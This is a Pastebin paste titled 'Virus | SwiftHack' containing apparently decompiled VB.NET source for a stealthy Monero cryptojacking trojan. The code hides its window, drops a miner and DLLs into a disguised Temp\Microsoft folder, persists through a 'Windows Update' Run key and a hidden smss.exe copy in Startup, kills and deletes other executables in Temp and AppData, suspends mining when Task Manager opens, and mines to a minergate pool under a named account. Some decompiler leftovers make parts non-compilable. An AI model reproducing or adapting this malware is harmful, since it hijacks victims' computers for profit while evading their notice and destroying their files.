Guest User

Virus | SwiftHack

a guest
Jan 24th, 2018
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.20 KB | None | 0 0
  1. Imports System
  2. Imports System.Collections.Generic
  3. Imports System.ComponentModel
  4. Imports System.Diagnostics
  5. Imports System.Drawing
  6. Imports System.IO
  7. Imports System.My
  8. Imports System.My.Resources
  9. Imports System.Runtime.CompilerServices
  10. Imports System.Runtime.InteropServices
  11. Imports System.Threading
  12. Imports System.Windows.Forms
  13. Imports Microsoft.VisualBasic
  14. Imports Microsoft.VisualBasic.CompilerServices
  15. Imports Microsoft.Win32
  16.  
  17. Namespace System
  18. <DesignerGenerated()>
  19. Public Class Form1
  20. Inherits Form
  21.  
  22. ' Token: 0x02000008 RID: 8
  23. Public Sub New()
  24. AddHandler MyBase.Load, AddressOf Me.Form1_Load
  25. Form1.__ENCAddToList(Me)
  26. Me.url = "stratum+tcp://xmr.pool.minergate.com"
  27. Me.port = "45560"
  28. Me.user = "artem4x@web.de"
  29. Me.pass = "x"
  30. Me.startup = "True"
  31. Me.presis = "True"
  32. Me.anti = "True"
  33. Me.BotKiller = "True"
  34. Me.vm = "True"
  35. Me.MTX = "ke*qd2kyaa@JbFW8R6V@rb8(o"
  36. Me.Config = String.Concat(New String() { "-a cryptonight -o ", Me.url, ":", Me.port, " -u ", Me.user, " -p ", Me.pass, " -t 1" })
  37. Me.Config1 = String.Concat(New String() { "-a cryptonight -o ", Me.url, ":", Me.port, " -u ", Me.user, " -p ", Me.pass })
  38. Me.Temp = MyProject.Computer.FileSystem.SpecialDirectories.Temp
  39. Me.st = 0
  40. Me.it = New IdleTime()
  41. Me.MT = Nothing
  42. Me.LO = New FileInfo(Application.ExecutablePath)
  43. Me.InitializeComponent()
  44. End Sub
  45.  
  46. <DebuggerNonUserCode()>
  47. Private Shared Sub __ENCAddToList(value As Object)
  48. Dim _ENCList As List(Of WeakReference) = Form1.__ENCList
  49. ' The following expression was wrapped in a checked-statement
  50. SyncLock _ENCList
  51. Dim flag As Boolean = Form1.__ENCList.Count = Form1.__ENCList.Capacity
  52. If flag Then
  53. Dim num As Integer = 0
  54. Dim num2 As Integer = 0
  55. Dim num3 As Integer = Form1.__ENCList.Count - 1
  56. Dim num4 As Integer = num2
  57. While True
  58. Dim num5 As Integer = num4
  59. Dim num6 As Integer = num3
  60. If num5 > num6 Then
  61. Exit For
  62. End If
  63. Dim weakReference As WeakReference = Form1.__ENCList(num4)
  64. flag = weakReference.IsAlive
  65. If flag Then
  66. Dim flag2 As Boolean = num4 <> num
  67. If flag2 Then
  68. Form1.__ENCList(num) = Form1.__ENCList(num4)
  69. End If
  70. num += 1
  71. End If
  72. num4 += 1
  73. End While
  74. Form1.__ENCList.RemoveRange(num, Form1.__ENCList.Count - num)
  75. Form1.__ENCList.Capacity = Form1.__ENCList.Count
  76. End If
  77. Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
  78. End SyncLock
  79. End Sub
  80.  
  81. <DebuggerNonUserCode()>
  82. Protected Overrides Sub Dispose(disposing As Boolean)
  83. Try
  84. Dim flag As Boolean = disposing AndAlso Me.components IsNot Nothing
  85. If flag Then
  86. Me.components.Dispose()
  87. End If
  88. Finally
  89. MyBase.Dispose(disposing)
  90. End Try
  91. End Sub
  92.  
  93. <DebuggerStepThrough()>
  94. Private Sub InitializeComponent()
  95. Me.components = New Container()
  96. Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
  97. Me.Timer2 = New System.Windows.Forms.Timer(Me.components)
  98. Me.Timer3 = New System.Windows.Forms.Timer(Me.components)
  99. Me.Timer4 = New System.Windows.Forms.Timer(Me.components)
  100. Me.Timer5 = New System.Windows.Forms.Timer(Me.components)
  101. Me.Timer6 = New System.Windows.Forms.Timer(Me.components)
  102. Me.Label1 = New Label()
  103. Me.SuspendLayout()
  104. Me.Timer2.Interval = 1000
  105. Me.Timer3.Interval = 1000
  106. Me.Label1.AutoSize = True
  107. Dim label As Control = Me.Label1
  108. Dim location As Point = New Point(0, 0)
  109. label.Location = location
  110. Me.Label1.Name = "Label1"
  111. Dim label2 As Control = Me.Label1
  112. Dim size As Size = New Size(51, 17)
  113. label2.Size = size
  114. Me.Label1.TabIndex = 0
  115. Me.Label1.Text = "Label1"
  116. Dim autoScaleDimensions As SizeF = New SizeF(8F, 16F)
  117. Me.AutoScaleDimensions = autoScaleDimensions
  118. Me.AutoScaleMode = AutoScaleMode.Font
  119. size = New Size(282, 253)
  120. Me.ClientSize = size
  121. Me.Controls.Add(Me.Label1)
  122. Me.Name = "Form1"
  123. Me.Text = "Form1"
  124. Me.ResumeLayout(False)
  125. Me.PerformLayout()
  126. End Sub
  127.  
  128. Friend Overridable Property Timer1 As System.Windows.Forms.Timer
  129. <DebuggerNonUserCode()>
  130. Get
  131. Return Me._Timer1
  132. End Get
  133. <DebuggerNonUserCode()>
  134. <MethodImpl(MethodImplOptions.Synchronized)>
  135. Set(value As System.Windows.Forms.Timer)
  136. Dim value2 As EventHandler = AddressOf Me.Timer1_Tick
  137. Dim flag As Boolean = Me._Timer1 IsNot Nothing
  138. If flag Then
  139. RemoveHandler Me._Timer1.Tick, value2
  140. End If
  141. Me._Timer1 = value
  142. flag = (Me._Timer1 IsNot Nothing)
  143. If flag Then
  144. AddHandler Me._Timer1.Tick, value2
  145. End If
  146. End Set
  147. End Property
  148.  
  149. Friend Overridable Property Timer2 As System.Windows.Forms.Timer
  150. <DebuggerNonUserCode()>
  151. Get
  152. Return Me._Timer2
  153. End Get
  154. <DebuggerNonUserCode()>
  155. <MethodImpl(MethodImplOptions.Synchronized)>
  156. Set(value As System.Windows.Forms.Timer)
  157. Dim value2 As EventHandler = AddressOf Me.Timer2_Tick
  158. Dim flag As Boolean = Me._Timer2 IsNot Nothing
  159. If flag Then
  160. RemoveHandler Me._Timer2.Tick, value2
  161. End If
  162. Me._Timer2 = value
  163. flag = (Me._Timer2 IsNot Nothing)
  164. If flag Then
  165. AddHandler Me._Timer2.Tick, value2
  166. End If
  167. End Set
  168. End Property
  169.  
  170. Friend Overridable Property Timer3 As System.Windows.Forms.Timer
  171. <DebuggerNonUserCode()>
  172. Get
  173. Return Me._Timer3
  174. End Get
  175. <DebuggerNonUserCode()>
  176. <MethodImpl(MethodImplOptions.Synchronized)>
  177. Set(value As System.Windows.Forms.Timer)
  178. Dim value2 As EventHandler = AddressOf Me.Timer3_Tick
  179. Dim flag As Boolean = Me._Timer3 IsNot Nothing
  180. If flag Then
  181. RemoveHandler Me._Timer3.Tick, value2
  182. End If
  183. Me._Timer3 = value
  184. flag = (Me._Timer3 IsNot Nothing)
  185. If flag Then
  186. AddHandler Me._Timer3.Tick, value2
  187. End If
  188. End Set
  189. End Property
  190.  
  191. Friend Overridable Property Timer4 As System.Windows.Forms.Timer
  192. <DebuggerNonUserCode()>
  193. Get
  194. Return Me._Timer4
  195. End Get
  196. <DebuggerNonUserCode()>
  197. <MethodImpl(MethodImplOptions.Synchronized)>
  198. Set(value As System.Windows.Forms.Timer)
  199. Me._Timer4 = value
  200. End Set
  201. End Property
  202.  
  203. Friend Overridable Property Timer5 As System.Windows.Forms.Timer
  204. <DebuggerNonUserCode()>
  205. Get
  206. Return Me._Timer5
  207. End Get
  208. <DebuggerNonUserCode()>
  209. <MethodImpl(MethodImplOptions.Synchronized)>
  210. Set(value As System.Windows.Forms.Timer)
  211. Dim value2 As EventHandler = AddressOf Me.Timer5_Tick
  212. Dim flag As Boolean = Me._Timer5 IsNot Nothing
  213. If flag Then
  214. RemoveHandler Me._Timer5.Tick, value2
  215. End If
  216. Me._Timer5 = value
  217. flag = (Me._Timer5 IsNot Nothing)
  218. If flag Then
  219. AddHandler Me._Timer5.Tick, value2
  220. End If
  221. End Set
  222. End Property
  223.  
  224. Friend Overridable Property Timer6 As System.Windows.Forms.Timer
  225. <DebuggerNonUserCode()>
  226. Get
  227. Return Me._Timer6
  228. End Get
  229. <DebuggerNonUserCode()>
  230. <MethodImpl(MethodImplOptions.Synchronized)>
  231. Set(value As System.Windows.Forms.Timer)
  232. Dim value2 As EventHandler = AddressOf Me.Timer6_Tick
  233. Dim flag As Boolean = Me._Timer6 IsNot Nothing
  234. If flag Then
  235. RemoveHandler Me._Timer6.Tick, value2
  236. End If
  237. Me._Timer6 = value
  238. flag = (Me._Timer6 IsNot Nothing)
  239. If flag Then
  240. AddHandler Me._Timer6.Tick, value2
  241. End If
  242. End Set
  243. End Property
  244.  
  245. Friend Overridable Property Label1 As Label
  246. <DebuggerNonUserCode()>
  247. Get
  248. Return Me._Label1
  249. End Get
  250. <DebuggerNonUserCode()>
  251. <MethodImpl(MethodImplOptions.Synchronized)>
  252. Set(value As Label)
  253. Me._Label1 = value
  254. End Set
  255. End Property
  256.  
  257. Private Declare Auto Function SetThreadExecutionState Lib "kernel32.dll" (esFlags As Form1.EXECUTION_STATE) As Form1.EXECUTION_STATE
  258.  
  259. Private Declare Auto Function SystemParametersInfo Lib "user32" (uAction As Integer, uParam As Integer, lpvParam As String, fuWinIni As Integer) As Integer
  260.  
  261. Public Sub KeepMonitorActive()
  262. Form1.SetThreadExecutionState(CType(2147483650UI, Form1.EXECUTION_STATE))
  263. End Sub
  264.  
  265. <MethodImpl(MethodImplOptions.NoInlining Or MethodImplOptions.NoOptimization)>
  266. Private Sub Form1_Load(sender As Object, e As EventArgs)
  267. Dim flag As Boolean = Operators.CompareString(Me.vm, "True", False) = 0
  268. Dim flag2 As Boolean
  269. If flag Then
  270. flag2 = Me.IsVmWare()
  271. If Not flag2 Then
  272. Application.[Exit]()
  273. End If
  274. End If
  275. flag2 = (Operators.CompareString(Me.BotKiller, "True", False) = 0)
  276. If flag2 Then
  277. Me.StartBotKiller()
  278. End If
  279. Try
  280. For Each process As Process In Process.GetProcesses()
  281. Try
  282. flag2 = Me.CompDir(New FileInfo(process.MainModule.FileName), CType(Me.LO, FileInfo))
  283. If flag2 Then
  284. flag = (process.Id > Process.GetCurrentProcess().Id)
  285. If flag Then
  286. ProjectData.EndApp()
  287. End If
  288. End If
  289. Catch ex As Exception
  290. End Try
  291. Next
  292. Catch ex2 As Exception
  293. End Try
  294. Try
  295. Mutex.OpenExisting(Me.MTX)
  296. ProjectData.EndApp()
  297. Catch ex3 As Exception
  298. End Try
  299. Try
  300. Me.MT = New Mutex(True, Me.MTX)
  301. Catch ex4 As Exception
  302. ProjectData.EndApp()
  303. End Try
  304. Me.Label1.Text = Conversions.ToString(Me.it.IdleTime)
  305. Me.Timer1.Interval = 1000
  306. Me.Timer1.Start()
  307. Me.Visible = False
  308. Me.ShowInTaskbar = False
  309. Me.ShowIcon = False
  310. flag2 = Directory.Exists(Me.Temp + "\Microsoft")
  311. If Not flag2 Then
  312. Directory.CreateDirectory(Me.Temp + "\Microsoft")
  313. End If
  314. flag2 = File.Exists(Me.Temp + "\Microsoft\libcurl-4.dll")
  315. If flag2 Then
  316. File.Delete(Me.Temp + "\Microsoft\libcurl-4.dll")
  317. File.WriteAllBytes(Me.Temp + "\Microsoft\libcurl-4.dll", Resources.libcurl_4)
  318. Else
  319. File.WriteAllBytes(Me.Temp + "\Microsoft\libcurl-4.dll", Resources.libcurl_4)
  320. End If
  321. flag2 = File.Exists(Me.Temp + "\Microsoft\minerd.exe")
  322. If flag2 Then
  323. File.Delete(Me.Temp + "\Microsoft\minerd.exe")
  324. File.WriteAllBytes(Me.Temp + "\Microsoft\minerd.exe", Resources.minerd)
  325. Else
  326. File.WriteAllBytes(Me.Temp + "\Microsoft\minerd.exe", Resources.minerd)
  327. End If
  328. flag2 = File.Exists(Me.Temp + "\Microsoft\libiconv-2.dll")
  329. If flag2 Then
  330. File.Delete(Me.Temp + "\Microsoft\libiconv-2.dll")
  331. File.WriteAllBytes(Me.Temp + "\Microsoft\libiconv-2.dll", Resources.libiconv_2)
  332. Else
  333. File.WriteAllBytes(Me.Temp + "\Microsoft\libiconv-2.dll", Resources.libiconv_2)
  334. End If
  335. flag2 = File.Exists(Me.Temp + "\Microsoft\libintl-8.dll")
  336. If flag2 Then
  337. File.Delete(Me.Temp + "\Microsoft\libintl-8.dll")
  338. File.WriteAllBytes(Me.Temp + "\Microsoft\libintl-8.dll", Resources.libintl_8)
  339. Else
  340. File.WriteAllBytes(Me.Temp + "\Microsoft\libintl-8.dll", Resources.libintl_8)
  341. End If
  342. flag2 = File.Exists(Me.Temp + "\Microsoft\zlib1.dll")
  343. If flag2 Then
  344. File.Delete(Me.Temp + "\Microsoft\zlib1.dll")
  345. File.WriteAllBytes(Me.Temp + "\Microsoft\zlib1.dll", Resources.zlib1)
  346. Else
  347. File.WriteAllBytes(Me.Temp + "\Microsoft\zlib1.dll", Resources.zlib1)
  348. End If
  349. flag2 = File.Exists(Me.Temp + "\Microsoft\libidn-11.dll")
  350. If flag2 Then
  351. File.Delete(Me.Temp + "\Microsoft\ibidn-11.dll")
  352. File.WriteAllBytes(Me.Temp + "\Microsoft\libidn-11.dll", Resources.libidn_11)
  353. Else
  354. File.WriteAllBytes(Me.Temp + "\Microsoft\libidn-11.dll", Resources.libidn_11)
  355. End If
  356. flag2 = File.Exists(Me.Temp + "\Microsoft\libwinpthread-1.dll")
  357. If flag2 Then
  358. File.Delete(Me.Temp + "\Microsoft\libwinpthread.dll")
  359. File.WriteAllBytes(Me.Temp + "\Microsoft\libwinpthread-1.dll", Resources.libwinpthread_1)
  360. Else
  361. File.WriteAllBytes(Me.Temp + "\Microsoft\libwinpthread-1.dll", Resources.libwinpthread_1)
  362. End If
  363. flag2 = (Operators.CompareString(Me.anti, "True", False) = 0)
  364. If flag2 Then
  365. Me.KeepMonitorActive()
  366. End If
  367. flag2 = (Operators.CompareString(Me.startup, "True", False) = 0)
  368. If flag2 Then
  369. flag = File.Exists(Me.Temp + "\smss.exe")
  370. If flag Then
  371. Me.AStartup("Windows Update", Me.Temp + "\smss.exe")
  372. Else
  373. File.Copy(Application.ExecutablePath, Me.Temp + "\smss.exe")
  374. Me.AStartup("Windows Update", Me.Temp + "\smss.exe")
  375. End If
  376. End If
  377. flag2 = (Operators.CompareString(Me.presis, "True", False) = 0)
  378. If flag2 Then
  379. Me.trd = AddressOf Me.StartWork
  380. Me.trd.IsBackground = True
  381. Me.trd.Start()
  382. End If
  383. Me.Timer2.Start()
  384. Me.Timer3.Start()
  385. End Sub
  386.  
  387. Private Declare Ansi Function FindWindow Lib "user32" Alias "FindWindowA" (<MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpClassName As String, <MarshalAs(UnmanagedType.VBByRefStr)> ByRef lpWindowName As String) As Long
  388.  
  389. Private Function IsVmWare() As Boolean
  390. Dim text As String = "VMDragDetectWndClass"
  391. Dim text2 As String = Nothing
  392. Dim num As Long = Form1.FindWindow(text, text2)
  393. Return num = 0L
  394. End Function
  395.  
  396. Public Sub StartBotKiller()
  397. Me.BOTKILL(Directory.GetFiles(Path.GetTempPath()))
  398. Me.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)))
  399. Me.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).Replace("Roaming", Nothing)))
  400. End Sub
  401.  
  402. Public Sub BOTKILL(EXE As String())
  403. Try
  404. Dim processes As Process() = Process.GetProcesses()
  405. For Each text As String In EXE
  406. Dim fileInfo As FileInfo = New FileInfo(text)
  407. Dim flag As Boolean = Operators.CompareString(fileInfo.Extension, ".exe", False) = 0
  408. If flag Then
  409. For Each process As Process In processes
  410. Dim flag2 As Boolean = Operators.CompareString(process.ProcessName, fileInfo.Name.Replace(".exe", Nothing), False) = 0
  411. If flag2 Then
  412. process.Kill()
  413. End If
  414. Next
  415. Try
  416. File.Delete(text)
  417. Catch ex As Exception
  418. Thread.Sleep(100)
  419. File.Delete(text)
  420. End Try
  421. End If
  422. Next
  423. Catch ex2 As Exception
  424. End Try
  425. End Sub
  426.  
  427. Private Function CompDir(F1 As FileInfo, F2 As FileInfo) As Boolean
  428. Dim flag As Boolean = Operators.CompareString(F1.Name.ToLower(), F2.Name.ToLower(), False) <> 0
  429. Dim result As Boolean
  430. If flag Then
  431. result = False
  432. Else
  433. Dim directoryInfo As DirectoryInfo = F1.Directory
  434. Dim directoryInfo2 As DirectoryInfo = F2.Directory
  435. While True
  436. flag = (Operators.CompareString(directoryInfo.Name.ToLower(), directoryInfo2.Name.ToLower(), False) <> 0)
  437. If flag Then
  438. Exit For
  439. End If
  440. directoryInfo = directoryInfo.Parent
  441. directoryInfo2 = directoryInfo2.Parent
  442. flag = (directoryInfo Is Nothing And directoryInfo2 Is Nothing)
  443. If flag Then
  444. GoTo Block_3
  445. End If
  446. flag = (directoryInfo Is Nothing)
  447. If flag Then
  448. GoTo Block_4
  449. End If
  450. flag = (directoryInfo2 Is Nothing)
  451. If flag Then
  452. GoTo Block_5
  453. End If
  454. End While
  455. Return False
  456. Block_3:
  457. Return True
  458. Block_4:
  459. Return False
  460. Block_5:
  461. result = False
  462. End If
  463. Return result
  464. End Function
  465.  
  466. Private Sub Timer1_Tick(sender As Object, e As EventArgs)
  467. Me.Label1.Text = Conversions.ToString(Me.it.IdleTime)
  468. End Sub
  469.  
  470. Public Sub StartWork()
  471. While True
  472. Dim flag As Boolean = Me.st <> 0
  473. If flag Then
  474. Exit For
  475. End If
  476. Thread.Sleep(2000)
  477. Me.AStartup("Windows Update", Me.Temp + "\smss.exe")
  478. flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\smss.exe")
  479. If Not flag Then
  480. File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\smss.exe")
  481. File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\smss.exe", FileAttributes.Hidden Or FileAttributes.System)
  482. End If
  483. End While
  484. End Sub
  485.  
  486. Public Sub AStartup(Name As String, Path As String)
  487. Dim num As Integer
  488. Dim num4 As Integer
  489. Dim obj As Object
  490. Try
  491. IL_01:
  492. ProjectData.ClearProjectError()
  493. num = -2
  494. IL_09:
  495. Dim num2 As Integer = 2
  496. Dim currentUser As RegistryKey = Registry.CurrentUser
  497. IL_12:
  498. num2 = 3
  499. Dim registryKey As RegistryKey = currentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
  500. IL_22:
  501. num2 = 4
  502. registryKey.SetValue(Name, Path, RegistryValueKind.[String])
  503. IL_2F:
  504. GoTo IL_9E
  505. IL_34:
  506. Dim num3 As Integer = num4 + 1
  507. num4 = 0
  508. switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3)
  509. IL_56:
  510. GoTo IL_93
  511. IL_58:
  512. num4 = num2
  513. switch(ICSharpCode.Decompiler.ILAst.ILLabel[], If((num > -2), num, 1))
  514. IL_71:
  515. Catch obj2 When endfilter(TypeOf obj Is Exception And num <> 0 And num4 = 0)
  516. Dim ex As Exception = CType(obj2, Exception)
  517. GoTo IL_58
  518. End Try
  519. IL_93:
  520. Throw ProjectData.CreateProjectError(-2146828237)
  521. IL_9E:
  522. If num4 <> 0 Then
  523. ProjectData.ClearProjectError()
  524. End If
  525. End Sub
  526.  
  527. Private Sub Timer2_Tick(sender As Object, e As EventArgs)
  528. Dim flag As Boolean = Conversions.ToDouble(Me.Label1.Text) > 60.0
  529. If flag Then
  530. Dim processesByName As Process() = Process.GetProcessesByName("minerd")
  531. For Each process As Process In processesByName
  532. process.Kill()
  533. Next
  534. Interaction.Shell(Me.Temp + "\Microsoft\minerd.exe " + Me.Config1, AppWinStyle.Hide, False, -1)
  535. Me.Timer2.[Stop]()
  536. Me.Timer3.Start()
  537. End If
  538. End Sub
  539.  
  540. Private Sub Timer3_Tick(sender As Object, e As EventArgs)
  541. Dim flag As Boolean = Conversions.ToDouble(Me.Label1.Text) < 60.0
  542. If flag Then
  543. Dim processesByName As Process() = Process.GetProcessesByName("minerd")
  544. For Each process As Process In processesByName
  545. process.Kill()
  546. Next
  547. Interaction.Shell(Me.Temp + "\Microsoft\minerd.exe " + Me.Config, AppWinStyle.Hide, False, -1)
  548. Me.Timer2.Start()
  549. Me.Timer3.[Stop]()
  550. End If
  551. End Sub
  552.  
  553. Public Function CheckIfRunning() As Boolean
  554. For Each process As Process In Process.GetProcesses()
  555. Dim flag As Boolean = process.ProcessName.StartsWith("taskmgr")
  556. If flag Then
  557. Dim processesByName As Process() = Process.GetProcessesByName("minerd")
  558. For Each process2 As Process In processesByName
  559. process2.Kill()
  560. Next
  561. Me.Timer6.Start()
  562. End If
  563. Next
  564. Dim result As Boolean
  565. Return result
  566. End Function
  567.  
  568. Public Function CheckIfRunning1() As Boolean
  569. For Each process As Process In Process.GetProcesses()
  570. Dim flag As Boolean = process.ProcessName.StartsWith("taskmgr")
  571. If flag Then
  572. End If
  573. Next
  574. Me.Timer2.Start()
  575. Me.Timer6.[Stop]()
  576. Dim result As Boolean
  577. Return result
  578. End Function
  579.  
  580. Private Sub Timer5_Tick(sender As Object, e As EventArgs)
  581. Me.CheckIfRunning()
  582. End Sub
  583.  
  584. Private Sub Timer6_Tick(sender As Object, e As EventArgs)
  585. Me.CheckIfRunning1()
  586. End Sub
  587.  
  588. Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)()
  589.  
  590. Private components As IContainer
  591.  
  592. <AccessedThroughProperty("Timer1")>
  593. Private _Timer1 As System.Windows.Forms.Timer
  594.  
  595. <AccessedThroughProperty("Timer2")>
  596. Private _Timer2 As System.Windows.Forms.Timer
  597.  
  598. <AccessedThroughProperty("Timer3")>
  599. Private _Timer3 As System.Windows.Forms.Timer
  600.  
  601. <AccessedThroughProperty("Timer4")>
  602. Private _Timer4 As System.Windows.Forms.Timer
  603.  
  604. <AccessedThroughProperty("Timer5")>
  605. Private _Timer5 As System.Windows.Forms.Timer
  606.  
  607. <AccessedThroughProperty("Timer6")>
  608. Private _Timer6 As System.Windows.Forms.Timer
  609.  
  610. <AccessedThroughProperty("Label1")>
  611. Private _Label1 As Label
  612.  
  613. Public url As String
  614.  
  615. Public port As String
  616.  
  617. Public user As String
  618.  
  619. Public pass As String
  620.  
  621. Public startup As String
  622.  
  623. Public presis As String
  624.  
  625. Public anti As String
  626.  
  627. Public BotKiller As String
  628.  
  629. Public vm As String
  630.  
  631. Public MTX As String
  632.  
  633. Public Config As String
  634.  
  635. Public Config1 As String
  636.  
  637. Public Temp As String
  638.  
  639. Public trd As Thread
  640.  
  641. Public st As Integer
  642.  
  643. Public it As IdleTime
  644.  
  645. Public MT As Mutex
  646.  
  647. Public LO As Object
  648.  
  649. Private Const SPI_SETSCREENSAVETIMEOUT As Integer = 15
  650.  
  651. Private p As Process()
  652.  
  653. <Flags()>
  654. Public Enum EXECUTION_STATE As UInteger
  655. ' Token: 0x02000009 RID: 9
  656. ES_AWAYMODE_REQUIRED = 64UI
  657. ES_CONTINUOUS = 2147483648UI
  658. ES_DISPLAY_REQUIRED = 2UI
  659. ES_SYSTEM_REQUIRED = 1UI
  660. End Enum
  661. End Class
  662. End Namespace
Add Comment
Please, Sign In to add comment